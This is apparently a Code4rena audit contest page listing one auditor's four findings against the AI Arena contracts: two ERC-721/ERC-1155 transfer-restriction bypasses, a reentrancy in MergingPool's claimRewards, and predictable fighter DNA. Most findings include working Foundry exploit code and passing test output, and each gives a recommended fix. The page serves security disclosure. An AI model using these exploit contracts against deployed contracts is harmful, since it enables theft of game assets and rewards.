Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 90/283
Findings: 4
Award: $64.53
π Selected for report: 0
π Solo Findings: 0
π Selected for report: CodeWasp
Also found by: 0x13, 0xAlix2, 0xAsen, 0xCiphky, 0xE1, 0xLogos, 0xaghas, 0xlemon, 0xlyov, 0xvj, ADM, Aamir, BARW, Bauchibred, DMoore, DanielArmstrong, Draiakoo, Fulum, GhK3Ndf, Josh4324, Kalogerone, KmanOfficial, Krace, KupiaSec, Limbooo, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Tendency, _eperezok, adam-idarrha, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, c0pp3rscr3w3r, cartlex_, cats, d3e4, deadrxsezzz, denzi_, devblixt, dimulski, erosjohn, evmboi32, fnanni, grearlake, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, juancito, klau5, korok, ktg, ladboy233, matejdb, merlinboii, novamanbg, nuthan2x, oualidpro, peanuts, petro_1912, pkqs90, pynschon, radev_sw, rouhsamad, sashik_eth, shaka, sobieski, soliditywala, stackachu, tallo, thank_you, ubl4nk, vnavascues, web3pwn, xchen1130, zhaojohnson
0.1044 USDC - $0.10
The FighterFarm
contract implements ERC-721 logic and overrides the functions transferFrom
and safeTransferFrom
to add logic preventing transfers when the fighter is staked or when the destination address already holds the maximum number of fighters. However, there is a third function in ERC721, safeTransferFrom
, which allows transfers with an additional parameter for data
. An attacker can exploit this to bypass the implemented restrictions, enabling the free transfer of fighters, even when they are staked or the owner already possesses more than 10 fighters.
Proof of concept that allows transferring staked fighter using safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
:
function testSafeTransferExploit() public { _mintFromMergingPool(_ownerAddress); _fighterFarmContract.addStaker(_ownerAddress); _fighterFarmContract.updateFighterStaking(0, true); assertEq(_fighterFarmContract.fighterStaked(0), true); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, ""); assertEq(_fighterFarmContract.ownerOf(0) == _DELEGATED_ADDRESS, true); }
Output:
% forge test --match-test testSafeTransferExploit [β ] Compiling... [β ’] Compiling 16 files with 0.8.13 [β ] Solc 0.8.13 finished in 27.74s Compiler run successful! Running 1 test for test/FighterFarm.t.sol:FighterFarmTest [PASS] testSafeTransferExploit() (gas: 495728) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.20ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Manual Review
It is recommended to override safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
function and add _ableToTransfer
check.
Access Control
#0 - c4-pre-sort
2024-02-23T05:04:14Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-23T05:04:24Z
raymondfam marked the issue as duplicate of #739
#2 - c4-judge
2024-03-11T02:41:18Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
The GameItems
contract implements logic for managing game items through the ERC-1155 standard. The safeTransferFrom
function has been overridden to validate whether the specified asset (tokenId) can be transferred. However, this implementation can be circumvented, as the ERC-1155 standard also includes the safeBatchTransferFrom
function, which has not been overridden. Attacker can freely transfer any game items using safeBatchTransferFrom
function also these that should not be transferrable.
The following proof of concept presents transferring non-transferrable game item:
function testSafeBatchTransferFromExploit() public { _fundUserWith4kNeuronByTreasury(_ownerAddress); _gameItemsContract.mint(0, 1); _gameItemsContract.adjustTransferability(0, false); uint256[] memory ids = new uint256[](1); ids[0] = 0; uint256[] memory values = new uint256[](1); values[0] = 1; _gameItemsContract.safeBatchTransferFrom( _ownerAddress, _DELEGATED_ADDRESS, ids, values, "" ); assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1); assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0); }
Results:
% forge test --match-test testSafeBatchTransferFromExploit -vvv [β ] Compiling... [β ] Compiling 1 files with 0.8.13 [β ] Solc 0.8.13 finished in 5.37s Compiler run successful! Running 1 test for test/GameItems.t.sol:GameItemsTest [PASS] testSafeBatchTransferFromExploit() (gas: 184037) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Manual Review
It is recommended to override safeBatchTransferFrom
function and include a check that verifies if the item is transferrable.
Access Control
#0 - c4-pre-sort
2024-02-22T03:57:14Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T03:57:23Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:28:12Z
raymondfam marked the issue as duplicate of #575
#3 - c4-judge
2024-03-05T04:53:44Z
HickupHH3 marked the issue as satisfactory
π Selected for report: DarkTower
Also found by: 0brxce, 0xBinChook, 0xCiphky, 0xDetermination, 0xLogos, Aymen0909, BARW, BoRonGod, Kow, Krace, MrPotatoMagic, PedroZurdo, Tricko, Zac, ZanyBonzy, alexxander, bhilare_, djxploit, evmboi32, grearlake, haxatron, immeas, jnforja, ke1caM, klau5, rouhsamad, sashik_eth, sl1, solmaxis69, ubl4nk, web3pwn, zxriptor
64.3894 USDC - $64.39
The claimRewards
function of the MergingPool
contract enables users to batch claim rewards for multiple rounds. The issue arises because the fighter is minted using the _safeMint
function, exposing the protocol to reentrancy and granting the ability to re-enter the claimRewards
function. Although the checks-effects-interactions pattern is followed, it remains vulnerable because the actions are executed within the for
loop, allowing an attacker to iterate over the same rounds multiple times.
The following proof of concept exploit demonstrates an attack scenario in which the winner is expected to claim 3 fighters, resulting in a total of 4 fighters. However, due to a reentrancy attack, the attacker was able to obtain 3 extra fighters, ending up with a total of 7 fighters.
Exploit code:
contract Exploit { address mergingPool; constructor (address _mergingPool) { mergingPool = _mergingPool; } function attack() external { string[] memory _modelURIs = new string[](3); string[] memory _modelTypes = new string[](3); uint256[2][] memory _customAttributes = new uint256[2][](3); MergingPool(mergingPool).claimRewards(_modelURIs, _modelTypes, _customAttributes); } function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) { console.log("reentrancy"); string[] memory _modelURIs = new string[](3); string[] memory _modelTypes = new string[](3); uint256[2][] memory _customAttributes = new uint256[2][](3); MergingPool(mergingPool).claimRewards(_modelURIs, _modelTypes, _customAttributes); return this.onERC721Received.selector; } }
Test case:
function testReentrancyExploit() public { address attacker = address(0x4141); _mintFromMergingPool(attacker); _mintFromMergingPool(_ownerAddress); uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; Exploit exploit = new Exploit(address(_mergingPoolContract)); vm.prank(attacker); _fighterFarmContract.transferFrom(attacker, address(exploit), 0); _mergingPoolContract.pickWinner(_winners); _mergingPoolContract.pickWinner(_winners); _mergingPoolContract.pickWinner(_winners); exploit.attack(); uint256 balance = _fighterFarmContract.balanceOf(address(exploit)); console.log("balance of fighters", balance); } }
Results:
% forge test --match-test testReentrancyExploit -vv [β °] Compiling... [β ’] Compiling 1 files with 0.8.13 [β °] Solc 0.8.13 finished in 11.02s Compiler run successful! Running 1 test for test/MergingPool.t.sol:MergingPoolTest [PASS] testReentrancyExploit() (gas: 3449585) Logs: reentrancy reentrancy reentrancy reentrancy reentrancy reentrancy balance of fighters 7 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.90ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Manual Review
It is recommended to add reentrancy guard to claimRewards
function.
Reentrancy
#0 - c4-pre-sort
2024-02-22T08:54:37Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T08:54:44Z
raymondfam marked the issue as duplicate of #37
#2 - c4-judge
2024-03-07T02:43:12Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0rpse, 0xBinChook, 0xDetermination, 0xGreyWolf, 0xLogos, 0xWallSecurity, 0xaghas, 0xgrbr, 0xkaju, 0xlyov, AlexCzm, BARW, Blank_Space, BoRonGod, Daniel526, DanielArmstrong, Draiakoo, FloatingPragma, Giorgio, Greed, Jorgect, Matue, McToady, MidgarAudits, Nyxaris, PUSH0, PedroZurdo, Pelz, PoeAudits, Silvermist, SpicyMeatball, Tekken, Tricko, Tumelo_Crypto, VAD37, WoolCentaur, Zac, alexzoid, andywer, aslanbek, bgsmallerbear, cats, d3e4, desaperh, dimulski, dutra, erosjohn, evmboi32, favelanky, fnanni, forkforkdog, gesha17, givn, grearlake, haxatron, honey-k12, iamandreiski, immeas, juancito, kaveyjoe, ke1caM, kiqo, klau5, korok, lil_eth, lsaudit, n0kto, ni8mare, niser93, pa6kuda, peanuts, peter, shaka, sl1, soliditywala, solmaxis69, t0x1c, tallo, thank_you, tpiliposian, visualbits, vnavascues, web3pwn, yotov721
0.0352 USDC - $0.04
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L254 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L237-L237
The fighters can be minted via the FighterFarm
contract. The issue is that the minting process through the redeemMintPass
function lacks randomness, enabling users to create a fighter of their choice by specifying the DNA through the mintPassDnas
parameter. This allows them to clone any fighter.
Manual Review
It is recommended to include fighters.length
in the DNA generation. In addition consider using chainlink as a source of randomness.
Other
#0 - c4-pre-sort
2024-02-24T01:41:58Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-24T01:42:37Z
raymondfam marked the issue as duplicate of #53
#2 - c4-judge
2024-03-06T03:49:26Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-06T03:50:56Z
HickupHH3 marked the issue as satisfactory
#4 - c4-judge
2024-03-15T02:10:54Z
HickupHH3 changed the severity to 2 (Med Risk)
#5 - c4-judge
2024-03-22T04:21:10Z
HickupHH3 marked the issue as duplicate of #376